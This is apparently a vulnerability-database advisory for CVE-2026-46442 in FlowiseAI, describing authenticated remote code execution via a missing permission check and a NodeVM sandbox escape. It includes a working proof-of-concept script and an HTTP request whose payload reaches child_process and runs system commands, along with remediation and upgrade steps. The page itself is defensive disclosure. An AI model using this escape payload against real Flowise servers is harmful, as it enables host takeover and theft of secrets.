Skip to content

GHSA-9rvc-vf7m-pgm2 CVE-2026-46442

FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape

Critical npm
Severity
0.0 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
36.34%
Chance of exploitation in the next 30 days. Higher than 98.48% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
3.1.2
Upgrade flowise to this version or later

Description

Summary

POST /api/v1/node-custom-function lacks route-level authorization, allowing any authenticated user or API key to submit arbitrary JavaScript to the Custom JS Function node.

When E2B_APIKEY is not configured — the common deployment case — Flowise executes this code inside a NodeVM sandbox. This sandbox can be escaped, allowing an attacker to reach the host process object and execute system commands via child_process.

The result is authenticated remote code execution on the Flowise server host. CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.

Details

Two distinct security boundaries are violated.

1. Missing route-level authorization

packages/server/src/routes/node-custom-functions/index.ts registers the endpoint with no permission middleware:

router.post('/', nodesRouter.executeCustomFunction)

Other sensitive routes in the same codebase use explicit permission gates:

// packages/server/src/routes/chatflows/index.ts
router.post(
  '/',
  checkAnyPermission('chatflows:create,chatflows:update,agentflows:create,agentflows:update'),
  chatflowsController.saveChatflow
)

Global /api/v1 authentication still applies, so this is not unauthenticated — but any valid session or API key reaches the endpoint without further restriction.

2. NodeVM sandbox escape

The endpoint forwards body.javascriptFunction through the following chain:

POST /api/v1/node-custom-function
  → packages/server/src/controllers/nodes/index.ts
  → packages/server/src/utils/executeCustomNodeFunction.ts
  → packages/components/nodes/utilities/CustomFunction/CustomFunction.ts
    executeJavaScriptCode(javascriptFunction, sandbox)
  → packages/components/src/utils.ts
    if !process.env.E2B_APIKEY → NodeVM fallback
  → [SINK] host process / child_process

packages/components/src/utils.ts only uses the external E2B sandbox when E2B_APIKEY is set. Otherwise it silently falls back to @flowiseai/nodevm:

const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY

Flowise explicitly frames this as a sandboxed execution path — the helper is named createCodeExecutionSandbox, its inline comment reads Execute JavaScript code using either Sandbox or NodeVM, and the NodeVM instance is configured with eval: false, wasm: false, and mocked HTTP clients. The sandbox is a real declared security boundary, not incidental isolation.

These controls do not prevent escape. The payload abuses an exception path where an Error object escapes the NodeVM boundary. Because the error originates from the host runtime, its constructor chain resolves to the outer Node.js realm. This allows recovery of the host Function constructor (e.constructor.constructor), which can then access process and built-in modules such as child_process:

const FunctionCtor = e.constructor.constructor;
const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
return cp.execSync('id').toString().trim();

The NodeVM fallback is the practical default. packages/server/.env.example and CONTRIBUTING.md do not require E2B_APIKEY for custom JS execution, so most deployments are affected.

PoC

Standalone verification (run from the repository root with E2B_APIKEY unset):

// poc_Flowise_NodeCustomFunction_RCE_2026.js
const path = require('path');

delete process.env.E2B_APIKEY;
process.env.TS_NODE_COMPILER_OPTIONS = JSON.stringify({ moduleResolution: 'NodeNext' });

require(path.resolve('targets/Flowise/node_modules/ts-node/register/transpile-only'));

const { nodeClass: CustomFunction } = require(path.resolve(
  'targets/Flowise/packages/components/nodes/utilities/CustomFunction/CustomFunction.ts'
));

const attackCode = `
async function f() {
  const error = new Error();
  error.name = Object.create(null);
  return error.stack;
}
return await f().catch(e => {
  const FunctionCtor = e.constructor.constructor;
  const cp = FunctionCtor('return process.getBuiltinModule("child_process")')();
  return cp.execSync('id').toString().trim();
});
`;

(async () => {
  const node = new CustomFunction();
  const result = await node.init(
    { inputs: { javascriptFunction: attackCode } },
    '',
    { appDataSource: {}, databaseEntities: {}, workspaceId: undefined, orgId: undefined }
  );
  console.log('[RCE OUTPUT]', result);
})();

Confirmed output:

[RCE OUTPUT] uid=501(researcher) gid=20(staff) groups=20(staff),...

HTTP trigger (requires a valid API key or session):

POST /api/v1/node-custom-function HTTP/1.1
Host: target:3000
Authorization: Bearer <valid-api-key>
Content-Type: application/json

{
  "javascriptFunction": "async function f(){const error=new Error();error.name=Object.create(null);return error.stack;} return await f().catch(e=>{const F=e.constructor.constructor;const cp=F('return process.getBuiltinModule(\"child_process\")')();return cp.execSync('id').toString().trim();});"
}

Impact

Any authenticated Flowise user or holder of a standard API key can execute arbitrary commands as the Flowise server process. This includes reading environment variables and secrets, arbitrary filesystem access, outbound network requests from the host, and a foothold for persistence or lateral movement.

The NodeVM fallback is the default for any deployment without E2B_APIKEY configured, which covers the majority of self-hosted instances.

Recommended remediation:

  1. Add explicit permission gating to POST /api/v1/node-custom-function using the existing checkPermission middleware pattern.
  2. Fail closed if E2B_APIKEY is absent — do not silently downgrade to NodeVM for untrusted code execution.
  3. Restrict this endpoint from generic API key access.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.2
3.1.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.2

npm
npm install flowise@3.1.2
yarn
yarn add flowise@3.1.2
pnpm
pnpm add flowise@3.1.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 9.9

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor